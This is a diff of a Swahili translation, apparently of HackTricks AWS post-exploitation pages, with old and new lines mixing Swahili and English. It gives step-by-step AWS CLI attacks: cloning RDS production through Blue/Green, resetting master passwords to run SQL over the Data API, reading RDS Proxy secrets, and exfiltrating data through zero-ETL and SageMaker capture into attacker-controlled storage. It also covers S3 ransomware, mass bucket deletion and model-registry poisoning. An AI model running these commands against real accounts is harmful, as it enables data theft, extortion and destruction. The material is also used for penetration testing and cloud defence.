@@ -342,11 +342,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
```
Mfano wa ushahidi (MySQL):
- Hali ya Replica DB: `available`, read replication: `replicating`
- Muunganisho uliofanikiwa kwa nenosiri jipya pamoja na `@@read_only=1` ukithibitisha ufikiaji wa replica wa read-only.
- Muunganisho uliofanikiwa kwa nenosiri jipya na `@@read_only=1` ukithibitisha ufikiaji wa replica wa kusoma-tu.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Tumia vibaya RDS Blue/Green ku-clone production DB ndani ya green environment inayoreplicated kila wakati na read-only. Kisha reset green master credentials ili kupata data bila kugusa blue (prod) instance. Hii ni ya siri zaidi kuliko snapshot sharing na mara nyingi hupita monitoring inayolenga chanzo pekee.
Tumia vibaya RDS Blue/Green kunakili DB ya production kwenye mazingira ya green yanayoendelea ku-replicate na ambayo ni read-only. Kisha weka upya credentials za master za green ili kupata data bila kugusa instance ya blue (prod). Hii ni mbinu ya siri zaidi kuliko snapshot sharing na mara nyingi hupitia monitoring inayolenga chanzo pekee.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,19 +393,18 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Athari: Upatikanaji kamili wa data kwa kusoma-tu kwenye kloni inayokaribia wakati-halisi ya mazingira ya production bila kubadilisha production instance. Inafaa kwa uchimbaji wa data kwa njia ya kisiri na uchambuzi nje ya mtandao.
Athari: Kusoma-tu lakini ufikiaji kamili wa data kwa clone ya karibu-wakati-kwenye-kweli ya production bila kubadilisha instance ya production. Inafaa kwa uchimbaji wa data kwa siri na uchambuzi wa offline.
### SQL nje ya njia ya kawaida kupitia RDS Data API kwa kuwezesha HTTP endpoint + kuweka upya nenosiri mkuu
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
Tumia vibaya Aurora ili kuwezesha RDS Data API HTTP endpoint kwenye cluster lengwa, uweke upya nenosiri mkuu kwa thamani unayodhibiti, na uendeshe SQL kupitia HTTPS (hapana njia ya mtandao ya VPC inahitajika). Inafanya kazi kwenye engines za Aurora ambazo zinaunga mkono Data API/EnableHttpEndpoint (mfano, Aurora MySQL 8.0 provisioned; baadhi ya matoleo ya Aurora PostgreSQL/MySQL).
Tumia Aurora kuwezesha RDS Data API HTTP endpoint kwenye cluster lengwa, weka upya master password kwa thamani unayotawala, na endesha SQL kwa HTTPS (hakuna njia ya mtandao wa VPC inayohitajika). Inafanya kazi kwenye engines za Aurora zinazounga mkono Data API/EnableHttpEndpoint (mfano, Aurora MySQL 8.0 provisioned; baadhi ya toleo za Aurora PostgreSQL/MySQL).
Ruhusa (chini kabisa):
Ruhusa (za chini kabisa):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Athari: Kupita vikwazo vya segmentation ya mtandao na kutoa data kupitia AWS APIs bila muunganisho wa moja kwa moja wa VPC kwa DB.
Athari: Kupita segmentation ya mtandao na kutorosha data kupitia AWS APIs bila muunganisho wa moja kwa moja wa VPC kwa DB.
<details>
<summary>CLI kutoka mwanzo hadi mwisho (mfano wa Aurora MySQL)</summary>
@@ -461,21 +460,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
</details>
Vidokezo:
- Ikiwa SQL yenye tamko nyingi inakataliwa na rds-data, tuma execute-statement tofauti kwa kila tamko.
- Ikiwa SQL zenye sentensi nyingi zinakataliwa na rds-data, tuma execute-statement tofauti kwa kila taarifa.
- Kwa engines ambapo modify-db-cluster --enable-http-endpoint haina athari, tumia rds enable-http-endpoint --resource-arn.
- Hakikisha engine/version inasaidia Data API; vinginevyo HttpEndpointEnabled itaendelea kuwa False.
- Hakikisha engine/toleo linaunga mkono Data API; vinginevyo HttpEndpointEnabled itabaki False.
### Vuna nywila za DB kupitia siri za uthibitisho za RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### Vuna kredensiali za DB kupitia RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Tumia vibaya usanidi wa RDS Proxy kugundua siri ya Secrets Manager inayotumika kwa backend authentication, kisha soma siri hiyo kupata nywila za database. Miundombinu mingi inatoa ruhusa pana ya `secretsmanager:GetSecretValue`, jambo linalofanya hapa kuwa pivot rahisi kuelekea DB creds. Ikiwa siri inatumia CMK, vibali vya KMS visivyoandikwa vizuri vinaweza pia kuruhusu `kms:Decrypt`.
Tumia vibaya usanidi wa RDS Proxy kugundua Secret ya Secrets Manager inayotumika kwa uthibitishaji wa backend, kisha soma secret hiyo kupata kredensiali za database. Mifumo mingi hutoa ruhusa pana za `secretsmanager:GetSecretValue`, na kufanya hii kuwa njia ya haraka ya kupata DB creds. Ikiwa secret inatumia CMK, ruhusa za KMS zisizopangwa ipasavyo zinaweza pia kuruhusu `kms:Decrypt`.
Vibali vinavyohitajika (kiwango cha chini):
Ruhusa zinazohitajika (za chini kabisa):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` kwenye SecretArn iliyotajwa
- Hiari ikiwa siri inatumia CMK: `kms:Decrypt` kwenye ufunguo huo
- `secretsmanager:GetSecretValue` kwa SecretArn inayotajwa
- Hiari endapo secret inatumia CMK: `kms:Decrypt` kwa ufunguo huo
Impact: Kufichuka mara moja kwa DB username/password iliyowekwa kwenye proxy; inawezesha ufikiaji wa moja kwa moja wa DB au further lateral movement.
Athari: Kufichua mara moja DB username/password iliyosanidiwa kwenye proxy; inaruhusu direct DB access au further lateral movement.
Hatua
```bash
@@ -490,7 +489,7 @@ aws secretsmanager get-secret-value \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Lab (ya chini kabisa ili kuirudia)
Maabara (ya chini kabisa ili kuiga)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -516,20 +515,20 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Utoaji wa siri wa data unaoendelea kupitia Aurora zeroETL kwenda Amazon Redshift (rds:CreateIntegration)
### Kimyakimya endelevu exfiltration kupitia Aurora zeroETL kwa Amazon Redshift (rds:CreateIntegration)
Tumia vibaya Aurora PostgreSQL zeroETL integration kuiga kwa mfululizo data za uzalishaji ndani ya namespace ya Redshift Serverless unayodhibiti. Kwa sera ya rasilimali ya Redshift yenye ruhusa nyingi inayoruhusu CreateInboundIntegration/AuthorizeInboundIntegration kwa ARN maalum ya Aurora cluster, mshambuliaji anaweza kuanzisha nakala ya data karibukwamudahalisi bila DB creds, snapshots au kufichuliwa kwa mtandao.
Tumia vibaya Aurora PostgreSQL zeroETL integration ili kuiga data ya production kwa njia endelevu ndani ya namespace ya Redshift Serverless unayodhibiti. Kwa sera ya rasilimali ya Redshift yenye maruhusa inayomruhusu CreateInboundIntegration/AuthorizeInboundIntegration kwa ARN ya cluster maalum ya Aurora, attacker anaweza kuanzisha nakala ya data karibu kwa wakatihalisi bila DB creds, snapshots au network exposure.
Ruhusa zinazohitajika (chini kabisa):
Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
Imejaribiwa kwenye: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Unda namespace ya Redshift Serverless + workgroup</summary>
<summary>1) Unda Redshift Serverless namespace + workgroup</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -576,7 +575,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
</details>
<details>
<summary>3) Unda Aurora PostgreSQL cluster (wezesha Data API na logical replication)</summary>
<summary>3) Unda Aurora PostgreSQL cluster (iwezeshe Data API na logical replication)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -619,7 +618,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
</details>
<details>
<summary>5) Ku-materialize na kufanya query data iliyokopia katika Redshift</summary>
<summary>5) Kuweka na kuhoji data iliyorudishwa katika Redshift</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -633,11 +632,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
</details>
Ushahidi ulioonekana katika jaribio:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION ilionyesha integration_id 377a462b-c42c-4f08-937b-77fe75d98211 na state PendingDbConnectState kabla ya kuunda DB.
- Baada ya CREATE DATABASE FROM INTEGRATION, kuorodhesha jedwali kulifunua schema ztl na table customers; kuchagua kutoka ztl.customers kilirudisha safu 2 (Alice, Bob).
- redshift describe-inbound-integrations: Hali ACTIVE kwa Integration arn:...377a462b-...
- SVV_INTEGRATION ilionyesha integration_id 377a462b-c42c-4f08-937b-77fe75d98211 na hali PendingDbConnectState kabla ya uundaji wa DB.
- Baada ya CREATE DATABASE FROM INTEGRATION, listing tables ilibainisha schema ztl na table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
Athari: Continuous nearrealtime exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster.
Athari: Exfiltration ya karibuwakati halisi ya jedwali zilizochaguliwa za Aurora PostgreSQL hadi Redshift Serverless zinazoendeshwa na mshambulizi, bila kutumia database credentials, backups, au network access kwa source cluster.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,38 +4,38 @@
## S3
For more information check:
Kwa habari zaidi angalia:
{{#ref}}
../../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
### Sensitive Information
### Taarifa Nyeti
Mara nyingine utaweza kupata sensitive information zinazosomwa ndani ya buckets. Kwa mfano, terraform state secrets.
Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa katika buckets. Kwa mfano, terraform state secrets.
### Pivoting
Different platforms could be using S3 to store sensitive assets.\
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Mvumilizi mwenye write permissions anaweza **modify the code** kutoka kwa bucket ili **pivot** kwenda kwenye platforms nyingine, au **takeover accounts** kwa kubadilisha JS files.
Platformu tofauti zinaweza kutumia S3 kuhifadhi mali nyeti.\
Kwa mfano, **airflow** inaweza kuhifadhi **DAGs** **code** hapo, au **web pages** zinaweza kutumika moja kwa moja kutoka S3. An attacker mwenye idhini za kuandika anaweza **modify the code** kutoka kwenye bucket ili **pivot** kwenye platformu nyingine, au **takeover accounts** kwa kuhariri JS files.
### S3 Ransomware
Katika tukio hili, the **attacker creates a KMS (Key Management Service) key in their own AWS account** au akaunti nyingine iliyodukuliwa. Baadaye wanafanya **key accessible to anyone in the world**, kuruhusu mtumiaji yeyote wa AWS, role, au account kuencrypt objects kutumia key hii. Hata hivyo, objects hizo zinaweza kutoweza kufunguliwa (decrypted).
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
The attacker identifies a target **S3 bucket and gains write-level access** kwa kutumia mbinu mbalimbali. Hii inaweza kusababishwa na misanidiwa mibaya ya bucket inayoiweka wazi hadharani au kwa sababu attacker anapata access kwa AWS environment yenyewe. The attacker kwa kawaida hualenga buckets zenye sensitive information kama personally identifiable information (PII), protected health information (PHI), logs, backups, na zaidi.
The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
Ili kubaini kama bucket inaweza kulengwa kwa ransomware, the attacker anacheki configuration yake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **multi-factor authentication delete (MFA delete) is enabled**. Ikiwa Object Versioning haijawezeshwa, the attacker anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete haijawezeshwa, the attacker anaweza **disable Object Versioning**. Ikiwa Object Versioning na MFA delete zote zimo enabled, inakuwa ngumu zaidi kwa the attacker kufanya ransomware kwenye bucket hiyo maalum.
To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. Hii kwa ufanisi inafanya data ndani ya bucket kufungwa kwa encryption, na kuitafanya isifikike bila key.
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
Ili kuongeza shinikizo, the attacker anapanga deletion ya KMS key iliyotumika katika shambulio. Hii inawapa walengwa dirisha la siku 7 kurejesha data zao kabla key itakayotolewa na data kuwa imepotea kwa kudumu.
To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
Mwisho, the attacker anaweza upload file ya mwisho, kawaida iitwayo "ransom-note.txt," ambayo ina maagizo kwa walengwa jinsi ya kupata files zao. File hii ina upload bila encryption, mara nyingi ili kuvutia attention ya walengwa na kuwafanya wajue kuhusu shambulio la ransomware.
Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
### `s3:RestoreObject`
An attacker mwenye ruhusa ya s3:RestoreObject anaweza kuireactivate objects zilizohifadhiwa kwenye Glacier au Deep Archive, na kuziweka zinapatikana kwa muda mfupi. Hii inawawezesha recovery na exfiltration ya data zilizohifadhiwa kihistoria (backups, snapshots, logs, certifications, old secrets) ambazo kwa kawaida zingekuwa nje ya ufikikaji. Ikiwa the attacker anachanganya ruhusa hii na read permissions (e.g., s3:GetObject), wanaweza kupata copies kamili za sensitive data.
An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (backups, snapshots, logs, certifications, old secrets) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data.
```bash
aws s3api restore-object \
--bucket <BUCKET_NAME> \
@@ -47,7 +47,7 @@ aws s3api restore-object \
```
### `s3:Delete*`
Shambulizi aliye na ruhusa ya `s3:Delete*` anaweza kufuta vitu, matoleo, na mabaketi yote, kuharibu nakala za chelezo, na kusababisha upotevu wa data wa papo kwa hapo na usioweza kurekebishwa, uharibifu wa ushahidi, na kuhujumu vitu vya chelezo au urejesho.
Mshambuliaji mwenye ruhusa ya s3:Delete* anaweza kufuta vitu, matoleo, na vikapu vyote, kuvuruga nakala za chelezo, na kusababisha upotevu wa data wa papo kwa hapo na usioweza kurekebishwa, uharibifu wa ushahidi, na kuhujumu vitu vya chelezo au urejesho.
```bash
# Delete an object from a bucket
aws s3api delete-object \
@@ -64,6 +64,6 @@ aws s3api delete-object \
aws s3api delete-bucket \
--bucket <BUCKET_NAME>
```
**Kwa maelezo zaidi** [**angalia utafiti wa asili**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
**Kwa maelezo zaidi** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Kuchota data za SageMaker endpoint kupitia UpdateEndpoint DataCaptureConfig
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Tumia vibaya usimamizi wa endpoint wa SageMaker ili kuwezesha kunasa kikamilifu request/response kwenda S3 bucket inayodhibitiwa na mshambuliaji bila kugusa model au container. Inatumia rolling update yenye zero/lowdowntime na inahitaji tu ruhusa za usimamizi wa endpoint.
Tumia vibaya usimamizi wa endpoint wa SageMaker ili kuwezesha kurekodi kabisa request/response kwenye S3 bucket inayodhibitiwa na mtumiaji wenye nia mbaya bila kuigusa model au container. Inatumia zero/lowdowntime rolling update na inahitaji tu ruhusa za usimamizi wa endpoint.
### Requirements
### Mahitaji
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (au tumia bucket iliyopo katika akaunti ileile)
- Optional (if using SSEKMS): `kms:Encrypt` on the chosen CMK
- Target: An existing InService realtime endpoint in the same account/region
- S3: `s3:CreateBucket` (au tumia bucket iliyopo katika akaunti ile ile)
- Hiari (ikiwa unatumia SSEKMS): `kms:Encrypt` kwenye CMK iliyochaguliwa
- Lengo: Endpoint ya InService ya realtime iliyopo katika akaunti/region ile ile
### Steps
1) Tambua endpoint ya InService na ukusanye production variants za sasa
### Hatua
1) Tambua endpoint ya InService na ukusanye variants za uzalishaji zilizopo sasa
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Andaa S3 destination ya attacker kwa ajili ya captures
2) Andaa attacker S3 destination kwa captures
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) Tengeneza EndpointConfig mpya inayohifadhi variants zile zile lakini inawasha DataCapture kwenda attacker bucket
3) Unda EndpointConfig mpya ambayo inahifadhi variants zile zile lakini inawawezesha DataCapture kwenda kwenye attacker bucket
Kumbuka: Tumia aina za maudhui zilizoainishwa wazi zinazokidhi uthibitishaji wa CLI.
Kumbuka: Tumia aina za maudhui wazi ambazo zinakidhi uthibitishaji wa CLI.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Weka usanidi mpya kwa rolling update (na downtime ndogo au bila)
4) Tekeleza config mpya kwa rolling update (downtime mdogo/haipo)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Tengeneza angalau mwito mmoja wa inferensi (hiari ikiwa kuna trafiki ya moja kwa moja)
5) Tengeneza angalau wito mmoja wa inferensi (hiari ikiwa kuna trafiki ya moja kwa moja)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) Thibitisha captures kwenye S3 ya attacker
6) Thibitisha captures kwenye attacker S3
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Athari
- Full exfiltration ya payloads za maombi na majibu za realtime inference (na metadata) kutoka endpoint iliyolengwa kwenda S3 bucket inayodhibitiwa na mshambuliaji.
- Hakuna mabadiliko kwenye model/container image na mabadiliko ni kwa kiwango cha endpoint peke, ikiruhusu njia ya siri ya wizi wa data kwa usumbufu mdogo wa uendeshaji.
- Uondoaji kamili wa payloads za maombi na majibu ya inference ya wakati halisi (na metadata) kutoka kwa endpoint lengwa kwenda kwenye S3 bucket inayodhibitiwa na mshambuliaji.
- Hakuna mabadiliko kwenye model/container image na mabadiliko tu ya ngazi ya endpoint, ikiruhusu njia ya wizi wa data kwa utulivu kwa kuingiliwa kidogo kwa uendeshaji.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Tumia vibaya usimamizi wa endpoint ili kuelekeza matokeo ya asynchronous inference kwenye S3 bucket inayodhibitiwa na mshambuliaji kwa kukopa EndpointConfig ya sasa na kuweka AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Hii exfiltrates matabiri za model (na input yoyote iliyobadilishwa iliyojumuishwa na container) bila kubadilisha model/container.
Tumia udanganyifu wa usimamizi wa endpoint ili kuelekeza asynchronous inference outputs kwa S3 bucket inayodhibitiwa na mshambuliaji kwa ku-clone EndpointConfig ya sasa na kuweka AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Hii inaondoa utabiri za model (na ingizo lolote lililobadilishwa na container) bila kubadilisha model/container.
### Mahitaji
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Uwezo wa kuandika kwenye S3 bucket ya mshambuliaji (kupitia model execution role au bucket policy yenye kibali)
- Lengo: Endpoint ya InService ambapo asynchronous invocations zinatumika (au zitatumika)
- S3: Uwezo wa kuandika kwenye attacker S3 bucket (kwa kupitia model execution role au permissive bucket policy)
- Target: Endpoint iliyoko InService ambapo asynchronous invocations zimetumika (au zitatumika)
### Hatua
1) Kusanya ProductionVariants za sasa kutoka kwenye endpoint lengwa
1) Kusanya ProductionVariants za sasa kutoka kwa endpoint lengwa
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Unda attacker bucket (hakikisha model execution role inaweza PutObject kwenye bucket hiyo)
2) Unda attacker bucket (hakikisha model execution role inaweza PutObject ndani yake)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Nakili EndpointConfig na hijack AsyncInference outputs kwa attacker bucket
3) Clone EndpointConfig na hijack AsyncInference outputs kwa attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Anzisha async invocation na thibitisha objects zinafika kwenye attacker S3
4) Zindua async invocation na thibitisha objects zinapofika kwenye S3 ya mshambuliaji
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -116,27 +116,27 @@ sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Athari
- Huelekeza matokeo ya asynchronous inference (na mwili wa makosa) hadi S3 inayoendeshwa na mshambuliaji, ikiruhusu exfiltration kwa siri ya predictions na kwa kiasi kinachowezekana viingilio vyenye uelekezaji kabla/baada ya kuwekwa (pre/post-processed) vinavyozalishwa na container, bila kubadilisha model code au image na kwa downtime ndogo/haipo.
### Impact
- Inaelekeza matokeo ya inference isiyo-synchronous (na miili ya makosa) kwenda S3 inayodhibitiwa na mshambuliaji, ikiaruhusu uondokanaji wa siri wa utabiri na, kwa njia ya uwezekano, maingizo nyeti yaliyotengenezwa kabla/baada ya usindikaji na container, bila kubadilisha code au image ya model na kwa downtime ndogo/ya kutokuwepo.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
## SageMaker Model Registry kuingizwa kwa mnyororo wa usambazaji kupitia CreateModelPackage(Approved)
Ikiwa mshambuliaji anaweza kufanya CreateModelPackage kwenye target SageMaker Model Package Group, wanaweza kusajili toleo jipya la model ambalo linaelekeza kwa attacker-controlled container image na mara moja kulifanya Approved. Mifumo mingi ya CI/CD hu-auto-deploy toleo Approved la model kwa endpoints au training jobs, na kusababisha execution ya attacker code chini ya execution roles za service. Exposure ya cross-account inaweza kuongezeka kwa sera ya rasilimali ya ModelPackageGroup yenye ruhusa nyingi.
Iwapo mshambuliaji anaweza CreateModelPackage kwenye lengo la SageMaker Model Package Group, anaweza kusajili toleo jipya la model linaloelekeza kwenye image ya container inayodhibitiwa na mshambuliaji na kuiweka kuwa Approved mara moja. Mifumo mingi ya CI/CD hu-auto-deploy toleo ziliotangazwa Approved kwa endpoints au training jobs, jambo ambalo linaweza kusababisha utekelezaji wa code ya mshambuliaji chini ya execution roles za huduma. Kufichuliwa kwa cross-account kunaweza kuongezwa na sera ya rasilimali ya ModelPackageGroup isiyofungwa (permissive).
### Mahitaji
- IAM (kiasi cha chini kinachohitajika kuchafua kikundi kilicho tayari kuwepo): `sagemaker:CreateModelPackage` kwenye target ModelPackageGroup
- Hiari (kuunda kikundi ikiwa hakipo): `sagemaker:CreateModelPackageGroup`
- S3: Ufikiaji wa kusoma kwa referenced ModelDataUrl (au kuwa mwenyeji wa attacker-controlled artifacts)
- Target: Model Package Group ambayo automation ya downstream inatazama kwa toleo ambazo zimetengenezwa Approved
### Requirements
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` kwenye ModelPackageGroup lengwa
- Optional (to create a group if one doesnt exist): `sagemaker:CreateModelPackageGroup`
- S3: Ufikiaji wa kusoma kwenye referenced ModelDataUrl (au kuhost artifacts zinazodhibitiwa na mshambuliaji)
- Target: Model Package Group ambayo automation ya downstream inaiangalia kwa toleo Approved
### Hatua
### Steps
1) Weka region na unda/pata Model Package Group lengwa
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) Tayarisha data ya modeli bandia katika S3
2) Andaa data ya mfano ya bandia kwenye S3
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -144,7 +144,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Sajili toleo la Approved model package lenye madhara (hapa lisilo hatari) linalorejelea image ya umma ya AWS DLC
3) Sajili toleo la kifurushi cha modeli kilichoidhinishwa chenye madhumuni mabaya (hapa ni isiyo hatari) kikirejea kwenye picha ya umma ya AWS DLC image
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -161,17 +161,17 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) Thibitisha toleo jipya iliyoidhinishwa lipo
4) Thibitisha toleo jipya la Approved lipo
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Athari
- Choma Model Registry kwa toleo la Approved linalorejelea code inayodhibitiwa na mshambuliaji. Pipelines zinazojideploy moja kwa moja Approved models zinaweza kuvuta na kuendesha attacker image, na kusababisha utekelezaji wa code chini ya endpoint/training roles.
- Kwa sera ya rasilimali ya ModelPackageGroup yenye kuruhusu (PutModelPackageGroupPolicy), matumizi haya yanaweza kuchochewa cross-account.
- Poison the Model Registry with an Approved version that references attacker-controlled code. Pipelines that auto-deploy Approved models may pull and run the attacker image, yielding code execution under endpoint/training roles.
- With a permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy), this abuse can be triggered cross-account.
## Feature store poisoning
Matumizi mabaya ya `sagemaker:PutRecord` kwenye Feature Group yenye OnlineStore imewezeshwa kuandika upya (overwrite) thamani za features zinazoishi zinazotumika na online inference. Ikichanganywa na `sagemaker:GetRecord`, mshambuliaji anaweza kusoma features nyeti. Hii haihitaji upatikanaji wa models au endpoints.
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints.
{{#ref}}
feature-store-poisoning.md

View File

@@ -2,16 +2,16 @@
{{#include ../../../../banners/hacktricks-training.md}}
Matumizi mabaya ya `sagemaker:PutRecord` kwenye Feature Group yenye OnlineStore imewezeshwa ili kuandika juu thamani za feature zinazoishi zinazotumiwa na online inference. Ikiunganishwa na `sagemaker:GetRecord`, mshambuliaji anaweza kusoma vipengele nyeti. Hii haiitaji ufikiaji wa models au endpoints.
